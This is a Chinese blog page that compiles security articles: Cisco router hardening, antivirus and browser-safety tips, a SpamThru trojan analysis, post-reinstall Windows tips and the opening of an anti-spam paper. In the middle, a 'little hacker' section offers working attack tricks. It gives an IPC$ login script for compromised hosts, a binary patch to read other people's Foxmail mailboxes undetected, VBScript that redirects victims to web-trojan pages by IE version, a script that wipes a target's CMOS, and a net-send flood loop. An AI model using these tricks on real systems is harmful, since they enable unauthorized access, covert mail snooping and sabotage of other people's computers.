海东青's blog

      Cisco路由器及交换机安全加固  

关键词：Cisco、IOS、信息安全  



根据木桶理论，一个桶能装多少水，取决于这个桶最短的那块木板。具体到信息系统的安全也是一样，整个信息系统的安全程度也取决于信息系统中最薄弱的环节，网络做为信息系统的体，其安全需求的重要性是显而易见的。  

网络层面的安全主要有两个方面，一是数据层面的安全，使用ACL等技术手段，辅助应用系统增强系统的整体安全；二是控制层面的安全，通过限制对网络设备自身的访问，增强网络设备自身的安全性。数据层面的安全在拙著《网络层权限访问控制――ACL详解》(http://www.yesky.com/bang/77687093572141056/20030708/1712713.shtml)已经较为系统的讨论。本文主要集中讨论控制层面即设备自身的安全这部分，仍以最大市场占有率的思科设备为例进行讨论。  



一、 控制层面主要安全威协与应对原则  

网络设备的控制层面的实质还是运行的一个操作系统，既然是一个操作系统，那么，其它操作系统可能遇到的安全威胁网络设备都有可能遇到；总结起来有如下几个方面：  

1、 系统自身的缺陷：操作系统作为一个复杂系统，不论在发布之前多么仔细的进行测试，总会有缺陷产生的。出现缺陷后的唯一办法就是尽快给系统要上补丁。Cisco IOS/Catos与其它通用操作系统的区别在于，IOS/Catos需要将整个系统更换为打过补丁的系统，可以查询http://www.cisco.com/en/US/customer/products/prod_security_advisories_list.html 取得cisco最新的安全公告信息与补丁信息。  

2、 系统缺省服务：与大多数能用操作系统一样，IOS与CatOS缺省情况下也开了一大堆服务，这些服务可能会引起潜在的安全风险，解决的办法是按最小特权原则，关闭这些不需要的服务。  

3、 弱密码与明文密码：在IOS中，特权密码的加密方式强加密有弱加密两种，而普通存取密码在缺省情况下则是明文；  

4、 非授权用户可以管理设备：既可以通过telnet\snmp通过网络对设备进行带内管理，还可以通过console与aux口对设备进行带外管理。缺省情况下带外管理是没有密码限制的。隐含较大的安全风险；  

5、 CDP协议造成设备信息的泄漏；  

6、 DDOS攻击导致设备不能正常运行，解决方案，使用控制面策略，限制到控制层面的流量；  

7、 发生安全风险之后，缺省审计功能。  



二、 Cisco IOS加固  

对于12.3(4)T之后的IOS版本，可以通过autosecure命令完成下述大多数功能，考虑到大部分用户还没有条件升级到该IOS版本，这里仍然列出需要使用到的命令行：  

1、禁用不需要的服务：  

no ip http server　　 //禁用http server，这玩意儿的安全漏洞很多的  

no ip source-route　　 //禁用IP源路由，防止路由欺骗  

no service finger //禁用finger服务　  

no ip bootp server　　　//禁用bootp服务  

no service udp-small-s //小的udp服务  

no service tcp-small-s //禁用小的tcp服务  

2、关闭CDP  

no cdp run //禁用cdp  

3、配置强加密与启用密码加密：  

service password-encryption　//启用加密服务，将对password密码进行加密  

enable secret asdfajkls　　　//配置强加密的特权密码  

no enable password　　　　　 //禁用弱加密的特权密码  

4、配置log server、时间服务及与用于带内管理的ACL等，便于进行安全审计  

service timestamp log datetime localtime //配置时间戳为datetime方式，使用本地时间  

logging 192.168.0.1 //向192.168.0.1发送log  

logging 192.168.0.2 //向192.168.0.2发送log  

access-list 98的主机进行通讯  

no access-list 99 //在配置一个新的acl前先清空该ACL  

access-list 99 permit 192.168.0.0 0.0.0.255  

access-list 99 deny any log //log参数说明在有符合该条件的条目时产生一条logo信息  

no access-list 98 //在配置一个新的acl前先清空该ACL  

access-list 98 permit host 192.168.0.1  

access-list 98 deny any log //log参数说明在有符合该条件的条目时产生一条logo信息  

!  

clock timezone PST-8 //设置时区  

ntp authenticate　　　　　　 //启用NTP认证  

ntp authentication-key 1 md5 uadsf //设置NTP认证用的密码，使用MD5加密。需要和ntp server一致  

ntp trusted-key 1　　　　　　　　　　//可以信任的Key.  

ntp acess-group peer 98 //设置ntp服务，只允许对端为符合access-list 98条件的主机  

ntp server 192.168.0.1 key 1　　　　 //配置ntp server，server为192.168.0.1，使用1号key做为密码　  



5、对带内管理行为进行限制：  

snmp-server community HSDxdf ro 98//配置snmp只读通讯字，并只允许access-list 98的主机进行通讯  

line vty 0 4  

access-class 99 in //使用acl 99来控制telnet的源地址  

login  

password 0 asdfaksdlf　　　　//配置telnet密码  

exec-timeout 2 0　　　　　　 //配置虚终端超时参数，这里是2分钟  

!  

6、对带外管理行为进行限制：  

line con 0  

login  

password 0 adsfoii //配置console口的密码  

exec-timeout 2 0　　　　　　 //配置console口超时参数，这里是两分钟  

!  

line aux 0  

transport input none  

password 0 asfdkalsfj　　　　  

no exec  

exit  

7、应用control-plane police，预防DDOS攻击(注：需要12.2(1S或12.3(4)T以上版本才支持)  

允许信任主机(包括其它网络设备、管理工作站等)来的流量:  

access-list 110 deny ip host 1.1.1.1 any  

access-list 110 deny ip 2.2.2.0 255.255.255.0 any  

.....  

access-list 110 deny ip 3.3.3.3 any  

限制所有其它流量  

access-list 110 permit ip any any  

!  

class-map control-plane-limit  

match access-group 110  

!  

policy-map control-plane-policy  

class control-plane-limit  

police 32000 conform transmit exceed drop  

!  

control-plane  

service-policy input control-plane-policy  



三、 Cisco CatOS加固  

1、 禁用不需要的服务：  

set cdp disable //禁用cdp  

set ip http disable 　　 //禁用http server，这玩意儿的安全漏洞很多的  

2、 配置时间及日志参数，便于进行安全审计：  

set logging timestamp enable //启用log时间戳  

set logging server 192.168.0.1 //向192.168.0.1发送log  

set logging server 192.168.0.2 //向192.168.0.2发送log!  

set timezone PST-8 //设置时区  

set ntp authenticate enable　　　　　　 //启用NTP认证  

set ntp key 1 md5 uadsf //设置NTP认证用的密码，使用MD5加密。需要和ntp server一致  

set ntp server 192.168.0.1 key 1　//配置ntp server，server为192.168.0.1，使用1号key做为密码　  

set ntp client enable //启用ntp client  

3、 限制带内管理：  

set snmp community HSDxdf //配置snmp只读通讯字  

set ip permit enable snmp //启用snmp访问控制  

set ip permit 192.168.0.1 snmp　 //允许192.168.0.1进行snmp访问  

set ip permit enable telnet //启用telnet访问控制  

set ip permit 192.168.0.1 telnet　 //允许192.168.0.1进行telnet访问  

set password //配置telnet密码  

set enable 　 　 //配置特权密码  

set logout 2 　　 //配置超时参数，2分钟

      

                        纵观全球病毒的发展，不难发现蠕虫病毒着实让杀毒市场火了一把。蠕虫病毒信手拈来，如库尔尼科娃、Sircam、红色代码、蓝色代码、本拉登等等，一个比一个厉害，一个比一个恶毒，令人防不胜防，只要你上网，不经意之间就有可能染上病毒而浑然不知。

现在人们还没有养成定期进行系统升级、维护的习惯，这也是最近受病毒侵害感染率高的原因之一。只要培养良好的预防病毒意识，并充分发挥杀毒软件的防护能力，完全可以将大部分病毒拒之门外。

1、安装防毒软件：鉴于现今病毒无孔不入，安装一套防毒软件很有必要。首次安 装时，一定要对计算机做一次彻底的病毒扫描，尽管麻烦一点，但可以确保系统尚未受过病毒感染。另外建议你每周至少更新一次病毒定义码或病毒引擎（引擎的更新速度比病毒定义码要慢得多），因为最新的防病毒软件才是最有效的。定期扫描计算机也是一个良好的习惯。

2、注意软盘、光盘媒介：在使用软盘、光盘或活动硬盘其他媒介之前，一定要对 之进行扫描，不怕一万，就怕万一。

3、下载注意点：下载一定要从比较可*的站点进行，对于互联网上的文档与电子 邮件，下载后也须不厌其烦做病毒扫描。

4、用常识进行判断：来历不明的邮件决不要打开，遇到形迹可疑或不是预期中的 朋友来信中的附件，决不要轻易运行，除非你已经知道附件的内容。

5、禁用Windows Scripting Host。许多病毒，特别是蠕虫病毒正是钻了这项“空子”，使得用户无需点击附件，就可自动打开一个被感染的附件。

6、使用基于客户端的防火墙或过滤措施，以增强计算机对黑客和恶意代码的攻击 的免疫力。或者在一些安全网站中，可对自己的计算机做病毒扫描，察看它是否存在安全漏洞与病毒。如果你经常在线，这一点很有必要，因为如果你的系统没有加设有效防护，你的个人资料很有可能会被他人窃取。

7、警惕欺骗性或文告性的病毒。这类病毒利用了人性的弱点，以子虚乌有的说辞 来打动你，记住，天下没有免费的午餐，一旦发现，尽快删除。更有病毒伪装成杀毒软件骗人。

8、使用其它形式的文档，比如说办公处理换用.wps或.pdf文档以防止宏病毒。当然，这不是彻底避开病毒的万全之策，但不失为一个避免病毒缠绕的好方法。

      

                        越来越多的病毒利用互联网的各个通道传播，新的恶性病毒也不再设计为加强传播而预留的潜伏期了，中招后就会立即发作。一个新病毒出现后，可以在数小时至数天内遍布全球。

ActiveX控件和Java代码

在网页上加上ActiveX控件和JavaScripts代码可以增强网页吸引力，浏览器则可以从被浏览的网页中下载或运行相应的程序。一般情况下，这些程序能够安全地运行。但是在您的浏览器漏洞未修补时，您很容易遭到恶意代码的破坏，原因可能只是点击了网友在QQ中发来的一条消息等等。

防止受攻击的方法很简单，只要你及时修补漏洞。一般可以使用Windows Update，有的杀毒软件也提供修补程序。还有正确配置浏览器的安全选项也很重要，在ActiveX控件出现时，浏览器会弹出消息框，询问你是否准备接受该控件。

对于Java程序，一般建议禁止。IE用户需要选择[工具]→[Internet选项]→[安全]，按下[自定义级别]按钮，拖动滚动条直到你看到Java设置部分，然后点击[禁用]即可。从经验来看，中级设置是网上冲浪最好的安全设置。

如果你正确修补了IE浏览器，在下载网页中嵌入的程序时，浏览器将弹出一个警告窗，询问你是否需要下载。如果不能肯定其用途，建议还是不下载为好。

E-mail传播的病毒

E-mail仍然是新型病毒入侵的主要通道，因为E-mail几乎没有任何安全控制机制，并且许多人至今非常草率地打开E-mail中的附件。有的病毒(如求职信病毒)可以利用Outlook的漏洞自动打开附件，这就更加危险。奉劝在使用E-mail时，在未确定附件用途的情况下，不要打开，并且要注意经常修补邮件客户端程序，避免病毒利用漏洞自动打开。使用邮件防火墙过滤邮件也是不错的选择。

即时聊天与点对点工具

聊天工具QQ、ICQ、MSN是网民即时沟通的最爱，“狩猎者”木马通过QQ发布消息，让你的聊友大上其当。P2P传输工具的应用，使网友之间交流文档软件变得非常容易，但其中隐藏大量安全隐患。最新的Worm.Fizzer蠕虫就利用KaZaa工具在共享文件中大量传播，同时还结合了黑客攻击的手段。相信还会有更多的病毒会利用P2P点点通之类的软件继续作恶。在局域网中，使用共享资源也一样，应该给所有共享资源设置相应权限，尽量减少可写共享。

在使用网络资源时，应该保持警觉，不要轻信网友，草率点击相关链接，推荐在资源管理器的文件夹选择设置为查看所有文件，并且显示文件的扩展名，对可执行文件一定不要掉以轻心，谁也无法预计一个不知名的程序运行后的后果。即使用防毒软件检查过，也不要轻易执行。做到了以上几点相信病毒骚扰你的次数就会大大减少，放心在网上冲浪吧。

      

                        修改IE设置

作为一个垃圾网站9991.com算是非常厉害的了，这个垃圾网站三个多月的时间从ALEXA排名没有数据现在到了前100，一个网站在我们没有看到任何广告的情况下突然飙升为100上下呢?很明显，用了非常让人讨厌的流氓手段。

世上没有决对的事情，下面就来讲讲我如何清除它:

在“开始”“运行”输入“msconfig”，调出系统配置实用程序，打开启动项，看到有一个update.exe启动着，顺手打开任务管理器，看了一下，没有Update.exe这个程序运行，偶就把这个启动项给勾掉了，然后根据启动项的启动目录，找到C:\盘程序文件夹下通用文件夹内，对准Update目录，按下DEL键，居然提示不能删除，郁闷!

看了一下通用文件夹下，还有一个SAND文件夹，这个文件夹也不是什么好玩意，按下DEL，一并清理，将IE主页恢复，重新启动计算机，再次找到Update目录夹，按下DEL，这次它乖乖地和垃圾呆在一起了。打开IE一看，主页已经被我顺利收复。

全盘搜索了一下，发现在c:\windows\system32下还有一个update.exe，确认了一下日期及公司，一并删除。

注:通用文件夹指的是C:\Program Files\Common Files

笔者的话:

网络本来需要一个相对安静的环境，在我们一至申讨流氓软件的同时，这些流氓网站带给我们的烦恼是有过之而无不及。不断的利用IE漏洞修改我们的设置，给我的网络生活带来了非常大的不便。面对这些问题，我们应该如何办呢?笔者认为在用户加强防范的同时，法律法规上面需要得到更大的加强，对这些流氓网站采取更大的打击力度。流氓网站也是一个大众化的问题，所以程序员们应该开发出更多好软件出来保护我们的网络环境。

      

                        小黑客厚道学：掌握一些黑客知识是非常必要的，不是要攻击别人，而是通过简单的黑客知识掌握网络/系统安全技术，开拓思路，从而更好的保护自己的电脑。也就是所谓的“知己知彼百战不殆”。



1、简化CMD下用IPC$登录肉鸡的操作

用记事本建立一个名为login.bat文件，代码如下：











@net use \\%1\ipc$ %3 /u:"%2"

@echo OK!连接已经建立成功！

使用方法是在CMD下输入：login.bat肉鸡的IP肉鸡的ADMIN组的帐号名/用户的密码。这样我们以后用IPC$登录肉鸡就不用每次都输入一大串的命令了。

2、进入Foxmail账户有妙招

在Foxmail中可以为账户加上访问密码，如果没有密码却想进入别人的信箱该怎么办呢？一个众所周知的办法是：打开Foxmail文件夹下以账户名命名的任意一个文件夹，里边有个名为account.stg的文件，把它复制到你想进入的账户目录里，直接覆盖该目录下原来的account.stg文件。运行Foxmail，点击那个忘记了密码的账户，可以直接进入该信箱！但是上面的方法并不隐蔽，因为对方下次使用信箱时就会发现你破解了他的信箱，这样不够隐蔽。要想进入对方的信箱还不被对方发现，可以使用下面这个办法：用16进制文件编辑器UltraEdit打开Foxamil的主程序foxmail.exe文件，按组合键Alt＋F3查找以下的代码：E8617EE4FF7515，单击“确定”开始查找，找到后把其中的7515改为9090，其他代码不用改，然后保存就可以了。执行foxmail.exe，这样可以随意进入设有密码的Foxmail邮箱。该技巧对最新的Foxmail5.0.500.0有效。

3、利用vbs脚本判断对方的IE版本

我们在编制网页木马时，常常需要页面具有自动判别对方IE版本的能力，根据版本的不同，跳转到不同的网页木马页面。之所以这样做，是因为不同版本的IE，其木马网页的制作方法并不相同，比方说针对IE6.0版的网页木马制作方法与其下各个版本就不相同。

打开记事本，输入如下内容：











“〈SCRIPT language=vbscript〉

if Instr(window.navigator.appversion,"MSIE 6.0")>0 then

alert("浏 览 器：Internet Explorer 6.0")

window.location.href="http://IE6.0 网页木马页面"

else

alert("浏 览 器：6.0版本以下")

window.location.href="http://IE6.0以下版网页木马页面"

end if

〈/SCRIPT〉”

这样，使用IE6.0的用户浏览了该页面后，会自动跳转到http://IE6.0网页木马页面，不是IE6.0的用户浏览后会自动跳转到http://IE6.0以下版网页木马页面。

4、肉鸡的ipc$打不开该怎么办

有些朋友反映telnet到对方的机器后却不能打开ipc$，这该怎么办呢？我的做法是首先试试net share命令，看能不能使用，如果不能使用，说明对方没有安装文件和打印机共享服务，那ipc$一定是无法使用，此时只能放弃了。再输入net share ipc$试试，看看ipc$能不能打开，如果不行就输入net stop server，接下来再输入net start server，这样试试看ipc$能不能打开。如果net stop server不能执行，先把其附属进程关闭，再关server的主进程，一般到此ipc$多半可以连接上了。如果还是不行，那多半是对方有防火墙，这时只能想办法杀掉防火墙的进程了。

5、用vbs脚本结束进程

先声明这一招不是我自己想到的，是从高手ilovewen那里学来的。把下面的内容保存为.vbs脚本，在Windows2000下可以运行成功，代码内容如下：











On Error Resume Next

strComputer="."Set objWMIService = GetObject("winmgmts:" _

&& "{impersonationLevel=impersonate}!\\" && strComputer && "\root\cimv2")Set colProcessList

=objWMIService.ExecQuery _

("Select * from Win32_Process Where Name='*.exe'")For Each objProcess in colProcessList

objProcess.Terminate()Next

其中*.exe是你要结束的进程，将它改为你要结束进程的名即可。

6、利用批处理清除对方的CMOS内容

如果你想清除对方的CMOS内容该怎么办？方法有很多了，利用批处理绝对是很另类的一招吧？请打开记事本，在文件中输入如下内容：











Const ForAppending=8

Dim fso,x,y

Set fso=CreateObject("Scripting.FileSystemObject")

Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)

Set y=fso.CreateTextFile("c:\1.txt", True)

x.WriteBlankLines(1)

x.Write"debug<1.txt"

x.WriteBlankLines(1)

y.WriteLine("o 70 10")

y.WriteBlankLines(1)

y.Write("o 71 10")

y.Close

x.Close

把上述内容保存为.bat文件，然后拷贝到对方的电脑上运行即可。它的作用是向Autoexec.bat中加入数据，创建一个文件，并向其中写入内容，在他下次开机时调用debug清除掉CMOS设置，包括CMOS密码。其实，这与大家常用的清除CMOS密码的方法很相象，通常情况下清除CMOS密码的方法是在DOS状态下输入debug，回车之后输入如下命令即可手工清除密码：











-o 70 10

-o 71 01

-q

7、利用批处理轰炸对方电脑

这是从一些高手那里学来的招数，呵呵，真是好方法。具体步骤是，打开记事本，在里面输入如下内容：











@echo 正在轰炸中……

:start

@net send %1 %2

@if errorlevel 1 goto over

goto start

ver

@echo 发送失败

将其保存为任意名字的.bat文件即可。使用用法是：任意名字的.bat 空格 目标IP地址 空格 你要对他说的话。

8、戏弄非法用户

为防止有人胡乱使用自己的电脑，我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件，并在该文件中加入以下命令：











@echo off

echo non-system disk or disk error

choice/c:&&/n

上面代码中的“&&”为我们设置的密码，您可以自行设置。这样重新启动计算机开机时就会显示“non-system disk or disk error”，接着光标一闪一闪的好像死机了一样，造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗！当我们要进入系统时，只要输入“&&”即可。

9、我的电脑你别用

如果你不想让别人使用你的电脑，又不好意思说，那该怎么办呢？在CMOS中设密码，太小气了吧？他如果问你密码，你好意思不说吗？其实，我们可以用下面这个办法来欺骗一下他的眼睛，使他人以为电脑坏了。

方法是：进入MS-DOS方式或CMD窗口下，输入：copy con null.sys，按一下回车键，然后什么也别输入，再按一次回车键，按Ctrl Z或按F6键，屏幕上会显示^z，按一下回车键，屏幕上会显示“1 file(s) copied”，这样就一个名为null.sys的空文件就建好了。现在，找到C盘根目录下的config.sys文件，注意这个文件是隐藏属性，所以必须进入“我的电脑”中，点击“查看(v)”→“文件夹选项”→“查看”→“显示所有文件”才能看到它，然后右键单击该文件，在弹出菜单中选择“用记事本打开”，接下来在config.sys文件中加入：device=c:\null.sys /d:null这样一行，保存修改结果，退出记事本。以后，你的电脑就会在出现Windows的启动画面时自动重新启动，如此反复下去，别人一定以为你的电脑出问题了，而你就可以偷偷乐了。

      

                        一名经验丰富的恶意软件研究者Joe Stewart在开始研究SpamThru木马后才确信情况确实是他所观察到的这样。SpamThru木马是一款被设计可以从被感染的计算机发出垃圾邮件的恶意软件。这一使用了点对点技术以向被劫持的计算机发出指令的木马居然装备了其自身的反病毒扫描工具——这样的复杂程度甚至不亚于一些商业软件。

这名在位于亚特兰大SecureWorks工作的高级安全研究员Stewart说：“这是我第一次看到这种情况，它的重要性在于其新的创意。它这样做的目的仅是为了将所有系统资源占为己有——如果系统中存在诸如大量发送邮件的病毒与之竞争，这将降低它可以发送的垃圾数量。”

大多数病毒和木马已经可以通过在hosts文件中将反病毒软件升级站点设置为本地地址以阻止反病毒软件下载更新。意在夺取被感染系统控制权的恶意黑客也曾通过杀掉进程、移除注册表键值或设置互斥进程以使其他恶意软件以为它们已经在运行从而在启动后立刻退出等方式来移除与之竞争的恶意软件。

但是，就像Stewart在他的分析中所发现的那样，SpamThru使这种竞赛达到了一个新的水平，它事实上使用了一个反病毒引擎以对付潜在的竞争者。

Stewart说，在该木马启动时，它从作者的命令与控制服务器请求并装载一个DLL，随后这一DLL下载一份盗版的卡巴斯基反病毒软件到被感染系统的一个隐藏目录中。它可以为这一卡巴斯基DLL在内存中运行的许可证签名检查打上补丁以避免卡巴斯基由于无效或过期的许可证而拒绝运行。

这一DLL下载10分钟后，它开始在系统中扫描恶意软件，在此过程中会自动跳过它检测到的属于其自身安装一部分的文件。在该系统上发现的任何其它恶意软件都被设定为在下次重启时由Windows删除。

他说，“我起初以为在通过P2P发送升级前的分布式扫描和代码变种是一个可以永远避免被检测到的巧妙方法。”但是他直到仔细检查这些与其竞争的恶意软件文件被移除的方式后才认识到，这是一个高度复杂的操作，它全力工作以利用被偷走的带宽发出垃圾邮件。

Stewart还发现SpamThru使用了一个巧妙的指令与控制结构以避免被关闭。

该木马使用了自定义的P2P协议以与其他人共享信息——包括IP地址，端口以及控制服务器的软件版本。

他说：“控制仍由一个中心服务器进行，但是万一该控制服务器被关闭，这一木马只要控制了至少一个同伙，就可以向其他同伙告知新控制服务器的地址。”

Stewart发现，这一网络通常包括一个控制服务器（在不同端口运行多个同等网络），若干模版服务器，以及每个端口大约500个同伙。他补充道，对于每个端口可以有效控制多少同伙似乎有限制，因为在两台主机间共享的信息量是相当大的。他说：“与我们所看到的控制服务器连接的被感染的主机的数目估计在所有开放的端口上共有1000到2000台。”

这一木马使用基于模版的垃圾邮件，它建立了一个其中每个SpamThru客户端都是其自身垃圾引擎的系统，并下载包含垃圾信息、用于在每个邮件中产生不同hash的随机短语、随机的“来自”名称以及一个包含几百个电子邮件地址的列表的模版以发送垃圾广告。

这些模版是加密的，并且使用了一种询问-应答验证方法以防止第三方软件可以从模版服务器下载到这些模版。Stewart还发现这一木马对GIF文件进行随机化——改变图像的长度和宽度——以使基于静态图像判断拒绝电子邮件的反垃圾方案对其无能为力。

Stewart说：“尽管我们在过去遇到过由恶意软件建立的自动化的垃圾邮件网络，现在这个却是最复杂的之一。它的复杂度和规模甚至已经不亚于某些商业软件。显然垃圾制造者在它的架构上下了大工夫以维持他们的收入水平。”

Stewart在他的分析中还发现，SpamThru正被用于操纵基于垃圾邮件的炒股诈骗（pump-and-dump stock scheme）。

（译者注：炒股诈骗是指用户收到的邮件等信息中催促读者尽快购买某股票。邮件发出者声称其知道关于某些即将发生的事情的内幕，或者是声称其使用一种“不可能出错的”经济学和股票市场数据的组合来挑选股票。而事实上，这些信息发出者可能是公司内部人员或者某些被金钱操纵的人，他们只要在股价被他们造成的购买狂潮“抬高”(pumped)后卖出自己的股票就一定能获利。一旦这些骗子“抛售”(dumped)他们的股票并不再大肆宣传，股价通常会下降，于是投资者们的投入的金钱就无影无踪了。）

       　　在操作系统进行重新安装后，由于安全设置以及补丁未及时安装等问题，最容易导致病毒的大肆入侵，因此一些必备的补充措施是非常关键的，“北方网”在《新系统最容易中毒，重装系统后要做十件大事》一文中给出了10条建议，值得大家借鉴。  



　　第1件大事：不要急着接入网络  



　　在安装完成Windows后，不要立即把服务器接入网络，因为这时的服务器还没有打上各种补丁，存在各种漏洞，非常容易感染病毒和被入侵。此时要加上冲击波和震撼波补丁后并重新启动再联入互联网。  



　　第2件大事：给系统打补丁/安装杀毒软件  



　　不用多说，冲击波和震荡波病毒的补丁是一定要打上的，如果你安装了Windows XP SP2则不用再另行安装。  



　　安装完系统后，一定要安装反病毒软件，同时将其更新到最新版本。  



　　第3件大事：关闭系统还原  



　　系统还原是Windows ME和Windows XP、Windows 2003中具有的功能，它允许我们将系统恢复到某一时间状态，从而可以避免我们重新安装操作系统。不过，有的人在执行系统还原后，发现除C盘外，其它的D盘、E盘都恢复到先前的状态了，结果里面保存的文件都没有了，造成了严重的损失!  



　　这是由于系统还原默认是针对硬盘上所有分区而言的，这样一旦进行了系统还原操作，那么所有分区的数据都会恢复。因此，我们必须按下Win Break键，然后单击“系统还原”标签，取消“在所有驱动器上关闭系统还原”选项，然后选中D盘，单击“设置”按钮，在打开的窗口中选中“关闭这个驱动器上的系统还原”选项。  



　　依次将其他的盘上的系统还原关闭即可。这样，一旦系统不稳定，可以利用系统还原工具还原C盘上的系统，但同时其他盘上的文件都不会有事。  

  　　第4件大事：给Administrator打上密码  



　　可能有的人使用的是网上下载的万能Ghost版来安装的系统，也可能是使用的是Windows XP无人值守安装光盘安装的系统，利用这些方法安装时极有可能没有让你指定Administrator密码，或者Administrator的密码是默认的123456或干脆为空。这样的密码是相当危险的，因此，在安装完系统后，请右击“我的电脑”，选择“管理”，再选择左侧的“计算机管理（本地）→系统工具→本地用户和组→用户”，选中右侧窗口中的Administrator，右击，选择“设置密码”。  



　　在打开窗口中单击“继续”按钮，即可在打开窗口中为Administrator设置密码。  



　　另外，选择“新用户”，设置好用户名和密码，再双击新建用户，单击“隶属于”标签，将其中所有组（如果有）都选中，单击下方的“删除”按钮。再单击“添加”按钮，然后再在打开窗口中单击“高级”按钮，接着单击“立即查找”按钮，找到PowerUser或User组，单击“确定”两次，将此用户添加PowerUser或User组。注销当前用户，再以新用户登录可以发现系统快很多。  



　　第5件大事：关闭默认共享  



　　Windows安装后，会创建一些隐藏共享，主要用于管理员远程登录时管理系统时使用，但对于个人用户来说，这个很少用到，也不是很安全。所以，我们有必要要切断这个共享：先在d：下新建一个disshare.bat文件，在其中写上如下语句：  



　　@echo off  



　　net share C$/del  



　　net share d$/del  



　　netshare ipc$/del  



　　net share admin$ /del  



　　接下来?将d：disshare.bat拷贝到C：WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下。然后按下Win R，输入gpedit.msc，在打开窗口中依次展开“用户配置→Windows设置→脚本（登录/注销）”文件夹，在右侧窗格中双击“登录”项，在弹出的窗口中，单击“添加”命令，选中C：WINDOWSSystem32GroupPolicyUserScriptsLogon文件夹下的disshare.bat文件。  



　　完成上述设置后，重新启动系统，就能自动切断Windows XP的默认共享通道了，如果你有更多硬盘，请在net share d$/del下自行添加，如net share e$/del、net share f$/del等。  



　　第6件大事：启用DMA传输模式  



　　启用DMA模式之后，计算机周边设备（主要指硬盘）即可直接与内存交换数据，这样能加快硬盘读写速度，提高数据传输速率：打开“设备管理器”，其中“IDE ATA/ATAPI控制器”下有“主要IDE通道”和“次要IDE通道”，双击之，单击“高级设置”，该对话框会列出目前IDE接口所连接设备的传输模式，单击列表按钮将“传输模式”设置为“DMA（若可用）”。重新启动计算机即可生效。  

  

  　　第7件大事：启用高级电源管理  



　　有时候安装Windows XP之前会发现没有打开BIOS电源中的高级电源控制，安装Windows XP后，关闭Windows时，电源不会自动断开。这时，很多人选择了重新打开BIOS中的高级电源控制，并重新安装Windows XP。事实上，用不着这么麻烦，只要大家确认已经在BIOS中打开高级电源控制选项，同时选择ACPI Pc，一定不要选错，否则重启后可能无法进入Windows，并重新启动电脑，电脑可能会重新搜索并自动重新安装电脑的硬件，之后就可以使其支持高级电源控制了。  



　　第8件大事：取消压缩文件夹支持  



　　单击开始→运行，输入“regsvr32 /u zipfldr.dll”回车，出现提示窗口“zipfldr.dll中的Dll UnrgisterServer成功”即可取消Windows XP的压缩文件夹支持。另外，输入regsvr32 shdocvw.dll可以取消“图片和传真”与图片文件的关联。  



　　第9件大事：取消“磁盘空间不足”通知  



　　当磁盘驱动器的容量少于200MB时Windows XP便会发出“磁盘空间不足”的通知，非常烦人。可以打开“注册表编辑器”，定位到HKEY_CURRENT_USERSoftwareMi crosoftWindowsCurrentVersionPolicies Explorer，在“Explorer”上单击右键，选择右键菜单上的“新建”→“DWORD值”，将这个值命名为“NoLowDiskSpaceChecks”，双击该值将其中的“数值数据”设为“1”。  



　　第10件大事：启用验证码  



　　安装SP2后，大多数用户发现在访问某些需要填写验证码的地方，都无法显示验证码图片（显示为一个红色小叉），这是一个非常严重的Bug。解决办法为：运行“Regedit”命令打开注册表编辑器，依次定位到“[HKEY_ LOCAL_MACHINESOFTWAREMicrosoftInternet Explorer Security]”，在窗口右边新建一个名为“BlockXBM”的REG_ DWORD值，将其值设置为“0”（十六进制值）。

      目录



1    概述    3

1.1    什么是垃圾邮件？    3

1.2    安全问题    4

2    反垃圾邮件技术    4

2.1    过滤    5

2.1.1    关键词过滤    5

2.1.2    黑白名单    5

2.1.3    HASH技术    6

2.1.4    基于规则的过滤    6

2.1.5    智能和概率系统    6

2.1.6    局限性和缺点    8

2.2    验证查询    9

2.2.1    反向查询技术    10

2.2.2    DKIM技术    11

2.2.3    SenderID技术    12

2.2.4    FairUCE技术    13

2.2.5    局限性和缺点    14

2.3    挑战    14

2.3.1    挑战-响应    15

2.3.2    计算性挑战    16

2.4    密码术    17

3    总结    18

4    参考    19







1、概述

    电子邮件是最常用的网络应用之一，已经成为网络交流沟通的重要途径。但是，垃圾邮件（spam）烦恼着大多数人，近来的调查显示，93%的被调查者都对他们接收到的大量垃圾邮件非常不满。一些简单的垃圾邮件事件也造成了很有影响的安全问题。日益增加的垃圾邮件现在会造成1年94亿美元的损失（来自chinabyte上一则新闻的数据），在一些文章表明，垃圾邮件可能会花费一个公司内每个用户600到1000美元。

    垃圾邮件随着互联网的不断发展而大量增长，不再像以前一样，只是小小的一个骚扰，现在的垃圾邮件可以说是铺天盖地了。最初，垃圾邮件主要是一些不请自来的商业宣传电子邮件，而现在更多的有关色情、政治的垃圾邮件不断增加，甚至达到了总垃圾邮件量的40%左右，并且仍然有持续增长的趋势。另一方面，垃圾邮件成了计算机病毒新的、快速的传播途径。

    而且目前世界上50%的邮件都是垃圾邮件，只有少数组织承担责任。很多反垃圾邮件的措施都被提出出来，但是只有非常少的被实施了。不幸的是，这些解决办法也都还不能完全阻止垃圾邮件，而且还对正常的邮件来往产生影响。



1.1、什么是垃圾邮件？

    某种程度上，对垃圾邮件的定义可以是：那些人们没有意愿去接收到的电子邮件都是垃圾邮件。比如：

    *商业广告。很多公司为了宣传新的产品、新的活动等通过电子邮件的方式进行宣传。

    *政治言论。目前会收到不少来自其他国家或者反动组织发送的这类电子邮件，这就跟垃圾的商业广告一样，销售和贩卖他们的所谓言论。

    *蠕虫病毒邮件。越来越多的病毒通过电子邮件来迅速传播，这也的确是一条迅速而且有效的传播途径。

    *恶意邮件。恐吓、欺骗性邮件。比如phishing，这是一种假冒网页的电子邮件，完全是一种诡计，来蒙骗用户的个人信息、账号甚至信用卡。



    普通个人的电子邮箱怎么成为了垃圾邮件的目标呢，造成这样的结果有很多原因，比如在网站、论坛等地方注册了邮件地址，病毒等在朋友的邮箱中找到了你的电子邮箱，对邮件提供商进行的用户枚举，等等。通常情况下，越少暴露电子邮件地址越少接收到垃圾邮件，使用时间越短越少接收到垃圾邮件。一些无奈的用户就选择了放弃自己的邮箱而更换新的电子邮箱。



1.2、安全问题

    垃圾邮件给互联网以及广大的使用者带来了很大的影响，这种影响不仅仅是人们需要花费时间来处理垃圾邮件、占用系统资源等，同时也带来了很多的安全问题。

